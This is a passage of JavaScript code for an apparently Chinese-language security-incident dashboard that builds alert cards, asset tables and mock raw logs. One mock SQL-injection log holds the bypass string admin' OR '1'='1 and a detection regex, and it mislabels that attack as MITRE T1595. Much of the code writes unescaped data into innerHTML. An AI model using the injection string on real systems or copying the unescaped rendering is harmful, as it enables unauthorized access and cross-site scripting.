                i === 1 ? 
                `详细信息: ${event.description || '系统检测到安全异常'}` :
                i === 2 ? 
                `受影响系统: ${event.targetSystem || '核心业务系统'}` :
                i === 3 ? 
                `已启动安全响应流程` :
                `安全团队正在处理此事件`;
        }
        
        alerts.push(alert);
    }
    
    return alerts;
}

// 生成原始日志内容
function getRawLogContent(event, index) {
    const timestamp = new Date(event.timestamp || Date.now()).toISOString();
    const level = event.severity === 'critical' ? 'CRITICAL' : 
                 event.severity === 'high' ? 'HIGH' : 'MEDIUM';
    const source = getSourceNameByEventType(event.attackType);
    const assetName = event.affectedAssets?.[0]?.name || '受影响资产';
    const assetIP = event.affectedAssets?.[0]?.ip || '192.168.1.10';
    const message = index === 0 ? 
        `${source} ALERT [${level}] ${event.attackType || '安全事件'} detected on ${assetName}` :
        index === 1 ? 
        `${timestamp} ${source} [${level}] Source: ${event.sourceIP || '10.10.1.50'} Target: ${event.targetIP || assetIP}` :
        index === 2 ? 
        `${timestamp} ${source} [${level}] Additional details: ${event.description || 'System detected suspicious activity'}` :
        `${timestamp} ${source} [${level}] Action taken: Automatic response triggered`;
    
    return `{
  "timestamp": "${timestamp}",
  "level": "${level}",
  "source": "${source}",
  "message": "${message}",
  "asset": {
    "name": "${assetName}",
    "ip": "${assetIP}",
    "type": "${event.affectedAssets?.[0]?.type || '服务器'}"
  },
  "details": {
    "event_id": "${event.id || 'unknown'}",
    "attack_type": "${event.attackType || 'unknown'}",
    "severity": "${event.severity || 'medium'}",
    "status": "${event.status || 'open'}"
  },
  "raw_data": "${event.rawData || 'Base64 encoded event data...'}"
}`;
}

// 创建告警日志卡片
function createAlertsCard(event) {
    const card = document.createElement('div');
    card.className = 'info-card p-4';
    
    // 获取告警数据，如果不存在则根据事件类型生成有意义的告警
    let alerts = event.alerts || [];
    
    // 如果告警为空，根据事件类型生成有意义的模拟告警
    if (!alerts || alerts.length === 0) {
        alerts = generateAlertsByEventType(event);
    }
    
    // 生成日志条目HTML
    const logsHtml = alerts.length > 0 ? alerts.map((log, index) => {
        const timestamp = log.timestamp ? new Date(log.timestamp).toLocaleString() : new Date().toLocaleString();
        const severity = log.severity || 'info';
        const severityText = getSeverityText(severity);
        const message = log.message || '安全系统检测到异常活动';
        const source = log.source || getSourceNameByEventType(event.attackType);
        
        return `
        <div class="log-entry">
            <div class="flex justify-between items-start mb-1">
                <span class="text-xs font-medium text-text-secondary">${timestamp}</span>
                <span class="tag tag-${severity}">${severityText}</span>
            </div>
            <p class="text-sm">${message}</p>
            <div class="mt-1 text-xs text-text-tertiary">
                来源: ${source}
                ${log.ruleId ? `<br>规则ID: ${log.ruleId}` : ''}
            </div>
            <div class="mt-2 text-right">
                <button class="view-original-log bg-background-secondary px-2 py-1 rounded hover:bg-background-tertiary transition-colors text-xs" data-log-index="${index}">查看原始日志</button>
            </div>
        </div>
        `;
    }).join('') : '<p class="text-sm text-text-secondary">暂无告警日志</p>';
    
    card.innerHTML = `
        <div class="flex justify-between items-center mb-3">
            <h3 class="text-lg font-medium text-text-primary">告警日志</h3>
            <button class="btn btn-secondary text-xs">查看所有日志</button>
        </div>
        <div class="logs-container space-y-4">
            ${logsHtml}
        </div>
    `;
    
    // 添加查看原始日志事件监听
    const viewButtons = card.querySelectorAll('.view-original-log');
    viewButtons.forEach((button, index) => {
        button.addEventListener('click', function() {
            const logIndex = parseInt(this.getAttribute('data-log-index'));
            const alert = alerts[logIndex];
            // 使用viewRawLog函数代替viewOriginalLog，确保一致性
            viewRawLog(alert?.id || `alert-${index}`);
        });
    });
    
    return card;
}

// 创建关联资产卡片
function createRelatedAssetsCard(event) {
    const card = document.createElement('div');
    card.className = 'info-card p-4';
    
    // 从affectedAssets获取数据（因为这是data.js中实际使用的字段）
    let assets = event.affectedAssets || [];
    
    // 丰富资产数据，确保至少有3-4个有意义的资产
    const enrichedAssets = enrichAssetData(assets);
    
    // 生成资产表格
    const assetsHtml = enrichedAssets.length > 0 ? enrichedAssets.map(asset => `
        <tr>
            <td class="py-2 px-4">
                <span class="text-sm font-medium">${asset.hostname || asset.name}</span>
            </td>
            <td class="py-2 px-4">
                <span class="text-sm">${asset.ip || '-'}</span>
            </td>
            <td class="py-2 px-4">
                <span class="text-sm">${asset.type || '-'}</span>
            </td>
            <td class="py-2 px-4">
                <span class="text-sm">${asset.os || '-'}</span>
            </td>
            <td class="py-2 px-4">
                <span class="tag tag-${asset.threatLevel || asset.severity || 'info'}">${getSeverityText(asset.threatLevel || asset.severity || 'info')}</span>
            </td>
            <td class="py-2 px-4">
                <span class="text-sm">${asset.statusText || '-'}</span>
            </td>
            <td class="py-2 px-4 text-right">
                <button class="btn btn-secondary text-xs">详情</button>
            </td>
        </tr>
    `).join('') : '<tr><td colspan="7" class="py-4 text-center text-sm text-text-secondary">暂无关联资产</td></tr>';
    
    card.innerHTML = `
        <div class="flex justify-between items-center mb-3">
            <h3 class="text-lg font-medium text-text-primary">关联资产</h3>
            <button class="btn btn-secondary text-xs">查看全部</button>
        </div>
        <div class="overflow-x-auto">
            <table class="table">
                <thead>
                    <tr>
                        <th>资产名称</th>
                        <th>IP地址</th>
                        <th>资产类型</th>
                        <th>操作系统</th>
                        <th>威胁等级</th>
                        <th>状态</th>
                        <th>操作</th>
                    </tr>
                </thead>
                <tbody>
                    ${assetsHtml}
                </tbody>
            </table>
        </div>
    `;
    
    return card;
}

// 丰富资产数据
function enrichAssetData(assets) {
    // 确保至少有3-4个资产
    const additionalAssets = [
        {
            id: "asset-10",
            hostname: "proxy-server-01",
            ip: "10.10.4.22",
            type: "代理服务器",
            os: "Linux (Ubuntu 20.04)",
            threatLevel: "medium",
            statusText: "需关注"
        },
        {
            id: "asset-11",
            hostname: "firewall-gateway",
            ip: "10.10.0.1",
            type: "防火墙",
            os: "Cisco IOS",
            threatLevel: "high",
            statusText: "正常运行"
        },
        {
            id: "asset-12",
            hostname: "siem-server-01",
            ip: "10.10.9.15",
            type: "安全监控",
            os: "Linux (CentOS 7)",
            threatLevel: "medium",
            statusText: "正常运行"
        },
        {
            id: "asset-13",
            hostname: "backup-server-02",
            ip: "10.10.11.78",
            type: "备份服务器",
            os: "Windows Server 2019",
            threatLevel: "low",
            statusText: "正常运行"
        }
    ];
    
    // 复制现有的资产，避免修改原始数据
    const enrichedAssets = [...assets];
    
    // 如果资产少于3个，添加额外资产
    while (enrichedAssets.length < 3 && additionalAssets.length > 0) {
        enrichedAssets.push(additionalAssets.shift());
    }
    
    // 为每个资产添加缺失的详细信息
    return enrichedAssets.map(asset => {
        // 生成资产状态文本
        const statusMap = {
            'high': ['已受损', '需关注'],
            'medium': ['需关注', '正常运行'],
            'low': ['正常运行', '正常运行']
        };
        const threatLevel = asset.threatLevel || asset.severity || 'medium';
        const possibleStatuses = statusMap[threatLevel] || statusMap['medium'];
        const randomStatus = possibleStatuses[Math.floor(Math.random() * possibleStatuses.length)];
        
        // 生成操作系统信息
        const osOptions = [
            'Linux (Ubuntu 20.04)',
            'Windows Server 2019',
            'Linux (CentOS 7)',
            'Windows 10 Enterprise',
            'Linux (Debian 10)',
            'Windows Server 2016'
        ];
        
        // 生成资产类型信息
        const typeOptions = [
            'Web服务器',
            '数据库服务器',
            '文件服务器',
            '应用服务器',
            '终端设备',
            '网络设备'
        ];
        
        // 生成有意义的资产名称选项
        const hostnameOptions = [
            'web-server-02',
            'db-server-03',
            'app-server-01',
            'file-server-04',
            'mail-server-01',
            'print-server-02',
            'storage-server-01',
            'cache-server-03',
            'load-balancer-01',
            'vpn-gateway-02'
        ];
        
        // 确保每个资产都有有意义的名称
        const assignedType = asset.type || typeOptions[Math.floor(Math.random() * typeOptions.length)];
        const assignedHostname = asset.hostname || asset.name || 
            hostnameOptions[Math.floor(Math.random() * hostnameOptions.length)];
        
        return {
            ...asset,
            hostname: assignedHostname,
            name: assignedHostname, // 确保name字段也有值
            type: assignedType,
            os: asset.os || osOptions[Math.floor(Math.random() * osOptions.length)],
            statusText: asset.statusText || randomStatus,
            threatLevel: asset.threatLevel || asset.severity || threatLevel
        };
    });
}

// 初始化标签页导航
function initTabNavigation() {
    // 获取标签按钮（根据HTML结构）
    const section = document.querySelector('section');
    const tabContainer = section ? section.querySelector('div[class*="flex border-b"]') : null;
    const workspace = document.getElementById('analysis-workspace');
    
    // 检查标签页容器是否存在（因为标签页已被移除）
    if (!tabContainer) {
        console.log('标签页已移除，跳过tab导航初始化');
        return;
    }
    
    const tabs = Array.from(tabContainer.children);
    
    // 为标签按钮添加ID和数据属性
    tabs.forEach((tab, index) => {
        const tabTexts = ['overview', 'attack-chain', 'timeline', 'logs', 'report'];
        tab.setAttribute('data-target', tabTexts[index] || `tab-${index}`);
    });
    
    tabs.forEach(tab => {
        tab.addEventListener('click', function() {
            // 移除所有标签的活动状态
            tabs.forEach(t => {
                t.classList.remove('text-primary-main', 'border-b-2', 'border-primary-main');
                t.classList.add('text-gray-600', 'hover:bg-gray-50');
            });
            
            // 添加当前标签的活动状态
            this.classList.remove('text-gray-600', 'hover:bg-gray-50');
            this.classList.add('text-primary-main', 'border-b-2', 'border-primary-main');
            
            // 特殊处理不同标签
            const target = this.getAttribute('data-target');
            if (target === 'overview' && currentSelectedEvent) {
                // 如果是overview标签并且有选中的事件，直接使用showEventDetails显示完整内容
                showEventDetails(currentSelectedEvent);
            } else if (target === 'attack-chain') {
                // 如果是攻击链分析标签，使用当前选中的事件ID或默认使用第一个事件ID
                const eventId = currentSelectedEvent || (getEvents() && getEvents()[0]?.id);
                if (eventId) {
                    // 直接调用loadAttackChainContent函数
                    loadAttackChainContent(eventId);
                } else {
                    // 如果没有事件，显示提示信息
                    workspace.innerHTML = `
                        <div class="h-full flex items-center justify-center flex-col text-gray-500">
                            <i class="fa fa-info-circle text-6xl mb-4 text-primary-main/30 animate-float"></i>
                            <p class="text-lg">请从左侧事件列表中选择一个事件开始分析</p>
                        </div>
                    `;
                }
            } else if (target === 'timeline' && currentSelectedEvent) {
                // 处理时间线标签
                loadTimelineContent(currentSelectedEvent);
            } else if (target === 'logs' && currentSelectedEvent) {
                // 处理日志标签
                loadTabContent('logs', workspace);
            } else if (target === 'report' && currentSelectedEvent) {
                // 处理报告标签
                workspace.innerHTML = '<div class="p-6">分析报告内容将在这里显示</div>';
            } else {
                // 对于无选中事件的情况，显示提示
                workspace.innerHTML = `
                    <div class="h-full flex items-center justify-center flex-col text-gray-500">
                        <i class="fa fa-info-circle text-6xl mb-4 text-primary-main/30 animate-float"></i>
                        <p class="text-lg">请从左侧事件列表中选择一个事件开始分析</p>
                    </div>
                `;
            }
        });
    });
    
    // 默认激活第一个标签
    if (tabs.length > 0) {
        tabs[0].click();
    }
}

// 动态加载标签页内容
function loadTabContent(tabId, contentPanel) {
    // 检查是否已加载过内容
    if (contentPanel.getAttribute('data-loaded') === 'true') {
        return;
    }
    
    const selectedEventId = document.querySelector('.event-item.selected')?.dataset.id;
    if (!selectedEventId) return;
    
    const event = getEventById(selectedEventId);
    if (!event) return;
    
    // 模拟加载效果
    contentPanel.classList.remove('opacity-100');
    
    setTimeout(() => {
        // 根据标签ID加载不同内容
        switch(tabId) {
            case 'overview':
                loadOverviewContent(contentPanel, event);
                break;
            case 'technical-analysis':
                loadTechnicalAnalysisContent(contentPanel, event);
                break;
            case 'timeline':
                loadTimelineContent(contentPanel, event);
                break;
            case 'assets':
                loadAssetsContent(contentPanel, event);
                break;
            case 'logs':
                loadLogsContent(contentPanel, event);
                break;
        }
        
        contentPanel.classList.add('opacity-100');
        // 标记为已加载
        contentPanel.setAttribute('data-loaded', 'true');
    }, 100);
}

// 加载概览内容 - 优化版
function loadOverviewContent(panel, event) {
    panel.innerHTML = `
        <div class="p-4">
            <h2 class="text-xl font-medium mb-4 text-text-primary">概览 - ${event.name}</h2>
            <div class="overview-grid">
                <!-- 分析过程卡片 - 必须始终显示 -->
                ${createAnalysisProcessCard(event).outerHTML}
                
                <!-- 分析结果卡片 - 必须始终显示 -->
                ${createAnalysisResultCard(event).outerHTML}
                
                <!-- 基本信息卡片 -->
                ${createBasicInfoCard(event).outerHTML}
                
                <!-- 攻击链卡片 -->
                ${createAttackChainCard(event).outerHTML}
                
                <!-- 情报命中卡片 -->
                <div class="info-card p-4">
                    <h3 class="text-lg font-medium mb-3 text-text-primary">威胁情报命中</h3>
                    <div class="grid grid-cols-1 gap-3">
                        ${event.intelligence ? event.intelligence.map(item => `
                            <div class="border border-primary-border rounded-lg p-3">
                                <div class="flex justify-between items-center mb-2">
                                    <span class="font-medium">${item.source}</span>
                                    <span class="tag tag-${getConfidenceClass(item.confidence)}">${item.confidence}%</span>
                                </div>
                                <p class="text-sm">${item.description}</p>
                                <p class="text-xs text-text-tertiary mt-2">IOC: ${item.ioc}</p>
                            </div>
                        `).join('') : '<p class="text-sm text-text-tertiary">暂无情报信息</p>'}
                    </div>
                </div>
                
                <!-- 影响资产卡片 -->
                <div class="info-card p-4">
                    <div class="flex justify-between items-center mb-3">
                        <h3 class="text-lg font-medium text-text-primary">受影响资产</h3>
                        <span class="text-sm text-text-secondary">${event.relatedAssets ? event.relatedAssets.length : 0} 个</span>
                    </div>
                    <div class="assets-summary">
                        ${event.relatedAssets && event.relatedAssets.length > 0 ? event.relatedAssets.slice(0, 3).map(asset => `
                            <div class="asset-summary-item p-2 rounded-md hover:bg-bg-light flex justify-between items-center">
                                <div>
                                    <span class="text-sm font-medium">${asset.name}</span>
                                    <span class="text-xs text-text-tertiary ml-2">${asset.ip}</span>
                                </div>
                                <span class="tag tag-${asset.severity}">${getSeverityText(asset.severity)}</span>
                            </div>
                        `).join('') : '<p class="text-sm text-text-tertiary">暂无关联资产</p>'}
                    </div>
                </div>
            </div>
        </div>
    `;
}

// 修改现有函数以支持直接传入事件对象
function loadTechnicalAnalysisContent(panel, event) {
    panel.innerHTML = `
        <div class="p-4">
            <h2 class="text-xl font-medium mb-4 text-text-primary">技术分析 - ${event.name}</h2>
            
            <div class="info-card p-4 mb-4">
                <h3 class="text-lg font-medium mb-3 text-text-primary">威胁情报命中</h3>
                <div class="grid grid-cols-1 md:grid-cols-2 gap-4">
                    ${event.intelligence.map(item => `
                        <div class="border border-primary-border rounded-lg p-3">
                            <div class="flex justify-between items-center mb-2">
                                <span class="font-medium">${item.source}</span>
                                <span class="tag tag-${getConfidenceClass(item.confidence)}">${item.confidence}%</span>
                            </div>
                            <p class="text-sm">${item.description}</p>
                            <p class="text-xs text-text-tertiary mt-2">IOC: ${item.ioc}</p>
                        </div>
                    `).join('')}
                </div>
            </div>
            
            <div class="info-card p-4 mb-4">
                <h3 class="text-lg font-medium mb-3 text-text-primary">攻击特征分析</h3>
                <div class="overflow-x-auto">
                    <table class="table">
                        <thead>
                            <tr>
                                <th>特征类型</th>
                                <th>特征值</th>
                                <th>匹配度</th>
                            </tr>
                        </thead>
                        <tbody>
                            ${event.signatures.map(sig => `
                                <tr>
                                    <td>${sig.type}</td>
                                    <td class="font-mono text-sm">${sig.value}</td>
                                    <td>${sig.matchScore}%</td>
                                </tr>
                            `).join('')}
                        </tbody>
                    </table>
                </div>
            </div>
            
            <div class="info-card p-4">
                <h3 class="text-lg font-medium mb-3 text-text-primary">恶意代码分析</h3>
                <div class="mb-3">
                    <p class="text-sm text-text-secondary mb-2">代码摘要</p>
                    <div class="code-block text-xs">${event.payload.analysis.split('\n').map(line => `${line}`).join('\n')}</div>
                </div>
                <div class="flex gap-2">
                    <button class="btn btn-secondary text-xs">查看完整分析</button>
                    <button class="btn btn-secondary text-xs">提取IOC</button>
                    <button class="btn btn-primary text-xs">沙箱重放</button>
                </div>
            </div>
        </div>
    `;
}

// 修改现有函数以支持直接传入事件对象
function loadTimelineContent(panel, event) {
    // 生成时间线HTML
    const timelineHtml = event.timeline.map(item => `
        <div class="timeline-item">
            <div class="flex justify-between items-start mb-1">
                <span class="font-medium">${item.title}</span>
                <span class="text-xs text-text-secondary">${new Date(item.timestamp).toLocaleString()}</span>
            </div>
            <p class="text-sm mb-1">${item.description}</p>
            <div class="text-xs text-text-tertiary">
                <span class="tag tag-${item.severity}">${getSeverityText(item.severity)}</span>
                ${item.asset ? ` • 影响资产: ${item.asset}` : ''}
            </div>
        </div>
    `).join('');
    
    panel.innerHTML = `
        <div class="p-4">
            <div class="flex justify-between items-center mb-4">
                <h2 class="text-xl font-medium text-text-primary">攻击长镜头 - ${event.name}</h2>
                <div class="flex gap-2">
                    <button class="btn btn-secondary text-xs">小时</button>
                    <button class="btn btn-primary text-xs">天</button>
                    <button class="btn btn-secondary text-xs">周</button>
                    <div class="time-range-selector ml-2">
                        <input type="date" id="start-date" class="input-date text-xs" value="${formatDate(new Date(Date.now() - 7 * 24 * 60 * 60 * 1000))}">
                        <span class="text-xs mx-1">至</span>
                        <input type="date" id="end-date" class="input-date text-xs" value="${formatDate(new Date())}">
                    </div>
                </div>
            </div>
            
            <div class="timeline">
                ${timelineHtml}
            </div>
            
            <div class="mt-4">
                <button class="btn btn-secondary text-sm">导出时间线</button>
                <button class="btn btn-secondary text-sm ml-2">关联分析</button>
            </div>
        </div>
    `;
}

// 辅助函数：格式化日期
function formatDate(date) {
    return date.toISOString().split('T')[0];
}

// 辅助函数：获取严重程度文本
function getSeverityText(severity) {
    const severityMap = {
        critical: '危急',
        high: '高危',
        medium: '中危',
        low: '低危',
        info: '信息'
    };
    return severityMap[severity] || severity;
}

// 辅助函数：获取威胁等级类
function getThreatLevelClass(level) {
    return level.toLowerCase().replace(' ', '-');
}

// 加载关联资产内容
function loadAssetsContent(panel, event) {
    panel.innerHTML = `
        <div class="p-4">
            <div class="flex justify-between items-center mb-4">
                <h2 class="text-xl font-medium text-text-primary">关联资产 - ${event.name}</h2>
                <div class="flex gap-2">
                    <input type="text" placeholder="搜索资产..." class="search-input text-sm">
                    <select class="asset-type-filter text-sm">
                        <option value="all">所有类型</option>
                        <option value="server">服务器</option>
                        <option value="workstation">工作站</option>
                        <option value="network">网络设备</option>
                        <option value="application">应用系统</option>
                    </select>
                </div>
            </div>
            
            <div class="info-card p-4">
                <div class="overflow-x-auto">
                    <table class="table">
                        <thead>
                            <tr>
                                <th>资产名称</th>
                                <th>IP地址</th>
                                <th>资产类型</th>
                                <th>威胁等级</th>
                                <th>影响程度</th>
                                <th>操作</th>
                            </tr>
                        </thead>
                        <tbody>
                            ${event.relatedAssets ? event.relatedAssets.map(asset => `
                                <tr>
                                    <td>${asset.name}</td>
                                    <td>${asset.ip}</td>
                                    <td>${asset.type}</td>
                                    <td><span class="tag tag-${asset.severity}">${getSeverityText(asset.severity)}</span></td>
                                    <td>${asset.impact}</td>
                                    <td>
                                        <button class="btn btn-secondary text-xs">详情</button>
                                        <button class="btn btn-secondary text-xs ml-1">隔离</button>
                                    </td>
                                </tr>
                            `).join('') : '<tr><td colspan="6" class="text-center text-text-tertiary">暂无关联资产</td></tr>'}
                        </tbody>
                    </table>
                </div>
            </div>
            
            <div class="mt-4">
                <button class="btn btn-secondary text-sm">导出资产列表</button>
                <button class="btn btn-secondary text-sm ml-2">批量操作</button>
            </div>
        </div>
    `;
}

// 加载告警日志内容
function loadLogsContent(panel, event) {
    panel.innerHTML = `
        <div class="p-4">
            <div class="flex justify-between items-center mb-4">
                <h2 class="text-xl font-medium text-text-primary">告警日志 - ${event.name}</h2>
                <div class="flex gap-2">
                    <input type="text" placeholder="搜索日志..." class="search-input text-sm">
                    <select class="log-level-filter text-sm">
                        <option value="all">所有级别</option>
                        <option value="critical">危急</option>
                        <option value="high">高危</option>
                        <option value="medium">中危</option>
                        <option value="low">低危</option>
                    </select>
                    <button class="btn btn-secondary text-sm" onclick="downloadLogs('${event.id}')">下载日志</button>
                </div>
            </div>
            
            <div class="info-card p-4">
                <div class="logs-list">
                    ${event.alerts ? event.alerts.map(log => `
                        <div class="log-item mb-3 p-3 border border-primary-border rounded-lg">
                            <div class="flex justify-between items-start mb-1">
                                <span class="font-medium">${log.title}</span>
                                <div class="flex gap-2">
                                    <span class="tag tag-${log.severity}">${getSeverityText(log.severity)}</span>
                                    <span class="text-xs text-text-secondary">${new Date(log.timestamp).toLocaleString()}</span>
                                </div>
                            </div>
                            <p class="text-sm mb-2">${log.description}</p>
                            <div class="text-xs text-text-tertiary mb-2">
                                <div>来源: ${log.source}</div>
                                <div>规则ID: ${log.ruleId}</div>
                            </div>
                            <div class="flex gap-2">
                                <button class="btn btn-secondary text-xs" onclick="viewRawLog('${log.id}')">查看原始日志</button>
                                <button class="btn btn-secondary text-xs">关联分析</button>
                            </div>
                        </div>
                    `).join('') : '<p class="text-text-tertiary text-center py-4">暂无告警日志</p>'}
                </div>
            </div>
            
            <div class="logs-pagination mt-4 flex justify-between items-center">
                <button class="btn btn-secondary text-sm">上一页</button>
                <span class="text-sm">第 1 页，共 5 页</span>
                <button class="btn btn-secondary text-sm">下一页</button>
            </div>
        </div>
    `;
}

// 查看原始日志
function viewRawLog(logId) {
    // 获取当前选中的事件
    const selectedEventId = document.querySelector('.event-item.selected')?.dataset.id;
    const event = selectedEventId ? getEventById(selectedEventId) : null;
    
    // 显示原始日志模态框
    const modal = document.createElement('div');
    modal.className = 'modal-overlay fixed inset-0 bg-black bg-opacity-50 flex items-center justify-center z-50';
    modal.innerHTML = `
        <div class="modal-content bg-white rounded-lg shadow-lg w-full max-w-4xl max-h-[80vh] overflow-hidden">
            <div class="modal-header p-4 border-b border-primary-border flex justify-between items-center">
                <h3 class="font-medium">原始日志详情</h3>
                <button class="close-btn" onclick="this.closest('.modal-overlay').remove()">×</button>
            </div>
            <div class="modal-body p-4 overflow-auto">
                <!-- 原始日志详情卡片 -->
                <div class="info-card mb-4 p-4">
                    <h4 class="text-sm font-medium mb-3">日志详情概览</h4>
                    <div class="grid grid-cols-1 md:grid-cols-2 gap-3 text-xs">
                        <div class="flex justify-between">
                            <span class="text-text-tertiary">日志来源:</span>
                            <span id="log-source" class="font-medium"></span>
                        </div>
                        <div class="flex justify-between">
                            <span class="text-text-tertiary">威胁等级:</span>
                            <span id="log-severity" class="font-medium"></span>
                        </div>
                        <div class="flex justify-between">
                            <span class="text-text-tertiary">检测时间:</span>
                            <span id="log-time" class="font-medium"></span>
                        </div>
                        <div class="flex justify-between">
                            <span class="text-text-tertiary">关联设备资产:</span>
                            <span id="log-asset" class="font-medium"></span>
                        </div>
                        <div class="flex justify-between col-span-1 md:col-span-2">
                            <span class="text-text-tertiary">告警短信内容:</span>
                            <span id="log-sms-content" class="font-medium"></span>
                        </div>
                        <div class="flex justify-between">
                            <span class="text-text-tertiary">短信接收人:</span>
                            <span id="log-sms-recipients" class="font-medium"></span>
                        </div>
                    </div>
                </div>
                <!-- 原始日志JSON数据 -->
                <h4 class="text-sm font-medium mb-2">原始日志数据</h4>
                <div class="code-block text-xs">
                    ${generateRawLogData(event, logId)}
                </div>
            </div>
            <div class="modal-footer p-4 border-t border-primary-border flex justify-end gap-2">
                <button class="btn btn-secondary" onclick="this.closest('.modal-overlay').remove()">关闭</button>
                <button class="btn btn-primary" onclick="copyRawLog(this)">复制日志</button>
            </div>
        </div>
    `;
    document.body.appendChild(modal);
    
    // 填充日志详情
    const logData = generateLogDetails(event, logId);
    document.getElementById('log-source').textContent = logData.source;
    document.getElementById('log-severity').textContent = logData.severity;
    document.getElementById('log-time').textContent = logData.time;
    document.getElementById('log-asset').textContent = logData.asset;
    document.getElementById('log-sms-content').textContent = logData.smsContent;
    document.getElementById('log-sms-recipients').textContent = logData.smsRecipients;
}

// 生成日志详情信息
function generateLogDetails(event, logId) {
    // 根据事件类型和ID生成有意义的日志详情
    const eventType = event?.attackType || '未知攻击';
    const severity = event?.severity || 'medium';
    const timestamp = event?.timestamp || Date.now();
    
    // 根据事件类型获取相关信息
    const eventDetails = {
        source: getSourceNameByEventType(eventType),
        severity: getSeverityText(severity),
        time: new Date(timestamp).toLocaleString('zh-CN'),
        asset: event?.affectedAssets?.[0]?.name || '未识别资产',
        smsContent: '',
        smsRecipients: ''
    };
    
    // 根据事件类型设置短信内容
    if (eventType.includes('SQL注入')) {
        eventDetails.smsContent = `[高危告警] 检测到SQL注入攻击，目标资产:${eventDetails.asset}，建议立即处理`;
        eventDetails.smsRecipients = '数据库管理员,安全运维主管,系统管理员';
    } else if (eventType.includes('勒索软件')) {
        eventDetails.smsContent = `[紧急告警] 检测到勒索软件感染尝试，目标资产:${eventDetails.asset}，请立即隔离并启动应急响应`;
        eventDetails.smsRecipients = '安全主管,应急响应团队,IT运维经理';
    } else if (eventType.includes('暴力破解')) {
        eventDetails.smsContent = `[中危告警] 检测到SSH暴力破解攻击，目标资产:${eventDetails.asset}，请检查账户安全`;
        eventDetails.smsRecipients = '安全运维,系统管理员,网络管理员';
    } else if (eventType.includes('数据泄露')) {
        eventDetails.smsContent = `[高危告警] 检测到敏感数据泄露行为，目标资产:${eventDetails.asset}，请立即阻断并调查`;
        eventDetails.smsRecipients = '数据安全专员,信息安全总监,法律合规专员';
    } else if (eventType.includes('内部威胁')) {
        eventDetails.smsContent = `[中危告警] 检测到可疑内部威胁行为，目标资产:${eventDetails.asset}，请关注用户行为`;
        eventDetails.smsRecipients = '安全分析团队,部门主管,信息安全经理';
    } else {
        eventDetails.smsContent = `[安全告警] 检测到可疑活动，目标资产:${eventDetails.asset}，请及时查看详情`;
        eventDetails.smsRecipients = '安全运维团队,IT支持中心';
    }
    
    return eventDetails;
}

// 生成模拟原始日志数据
function generateRawLogData(event, logId) {
    const eventType = event?.attackType || '未知攻击';
    const severity = event?.severity || 'medium';
    const timestamp = event?.timestamp || Date.now();
    const formattedTime = new Date(timestamp).toISOString();
    const sourceName = getSourceNameByEventType(eventType);
    const assetName = event?.affectedAssets?.[0]?.name || '未识别资产';
    const assetIP = event?.affectedAssets?.[0]?.ip || '192.168.1.10';
    const assetType = event?.affectedAssets?.[0]?.type || '服务器';
    const srcIP = event?.sourceIP || '10.10.1.50';
    const dstIP = event?.targetIP || assetIP;
    
    // 根据事件类型获取详细信息
    let logDetails = '';
    let rawPayload = '';
    
    if (eventType.includes('SQL注入')) {
        logDetails = `    "http_method": "POST",
    "http_path": "/login",
    "http_user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
    "malicious_parameter": "username",
    "malicious_value": "admin' OR '1'='1",
    "request_headers": {
      "Host": "www.example.com",
      "Content-Type": "application/x-www-form-urlencoded",
      "Content-Length": "128"
    },
    "matched_pattern": "\\'\\s*OR\\s*\\'",
    "payload_analysis": "Detected SQL injection pattern in username parameter",
    "mitre_technique": "T1595 - SQL Injection"`;
        rawPayload = "dXNlcm5hbWU9YWRtaW4nIE9SICcxJz0nMSZwYXNzd29yZD1wYXNzd29yZA==";
    } else if (eventType.includes('勒索软件')) {
        logDetails = `    "file_name": "document.docx.exe",
    "file_hash": "a1b2c3d4e5f67890abcdef1234567890",
    "process_id": 1234,
    "process_name": "winword.exe",
    "registry_changes": ["HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Malware"],
    "network_connections": ["8.8.8.8:443"],
    "ransom_note": "YOUR FILES ARE ENCRYPTED",
    "mitre_technique": "T1486 - Data Encrypted for Impact"`;
        rawPayload = "bXVsYXdlci1maWxlLWV4ZWN1dGU=";
    } else if (eventType.includes('暴力破解')) {
        logDetails = `    "attempts": 15,
    "failed_logins": 15,
    "username": "admin",
    "port": 22,
    "protocol": "SSH",
    "login_method": "password",
    "blocked": true,
    "mitre_technique": "T1110 - Brute Force"`;
        rawPayload = "c3NoLWJydXRlLWZyYWN0b3I=";
    } else if (eventType.includes('数据泄露')) {
        logDetails = `    "data_type": "customer_info",
    "data_size": "2.5MB",
    "files_exfiltrated": 15,
    "transfer_protocol": "HTTPS",
    "destination": "8.8.8.8",
    "user": "john.doe",
    "mitre_technique": "T1537 - Transfer Data to Cloud Account"`;
        rawPayload = "ZGF0YS1leGZpbHRyYXRpb24=";
    } else if (eventType.includes('内部威胁')) {
        logDetails = `    "user": "internal_user",
    "department": "HR",
    "action": "unauthorized_access",
    "resource": "confidential_folder",
    "access_time": "${formattedTime}",
    "mitre_technique": "T1078 - Valid Accounts"`;
        rawPayload = "aW50ZXJuYWwtdGhvdW5nZXI=";
    }
    
    const logLevel = severity === 'critical' ? 'CRITICAL' : 
                    severity === 'high' ? 'ERROR' : 
                    severity === 'medium' ? 'WARNING' : 'INFO';
    
    return `{
  "timestamp": "${formattedTime}",
  "log_level": "${logLevel}",
  "source": "${sourceName}",
  "rule_id": "${event?.id || 'RULE-2023-0001'}",
  "alert_id": "${logId || 'ALERT-100000'}",
  "sensor_id": "SENSOR-${assetIP}",
  "src_ip": "${srcIP}",
  "dst_ip": "${dstIP}",
  "src_port": ${Math.floor(Math.random() * 65535)},
  "dst_port": ${eventType.includes('SSH') ? 22 : eventType.includes('SQL') ? 3306 : 80},
  "protocol": "TCP",
  "application_protocol": "${eventType.includes('SQL') ? 'SQL' : eventType.includes('SSH') ? 'SSH' : 'HTTP'}",
  "signature": "${eventType}",
  "severity": "${severity}",
  "confidence": ${severity === 'critical' ? 98 : severity === 'high' ? 92 : 85},
  "details": {
${logDetails},
    "geo_location": {
      "country": "${srcIP.startsWith('10.') ? '内部网络' : '美国'}",
      "city": "${srcIP.startsWith('10.') ? '企业内网' : '纽约'}",
      "coordinates": [${Math.random() * 180 - 90}, ${Math.random() * 360 - 180}]
    },
    "threat_intelligence": {
      "ip_reputation": "${severity === 'critical' || severity === 'high' ? 'malicious' : 'suspicious'}",
      "known_attacker": ${severity === 'critical' || severity === 'high'},
      "previous_attacks": ${severity === 'critical' || severity === 'high' ? Math.floor(Math.random() * 50) + 10 : 0},
      "campaign_id": "CAMPAIGN-2023-Q3-${Math.floor(Math.random() * 100).toString().padStart(3, '0')}"
    },
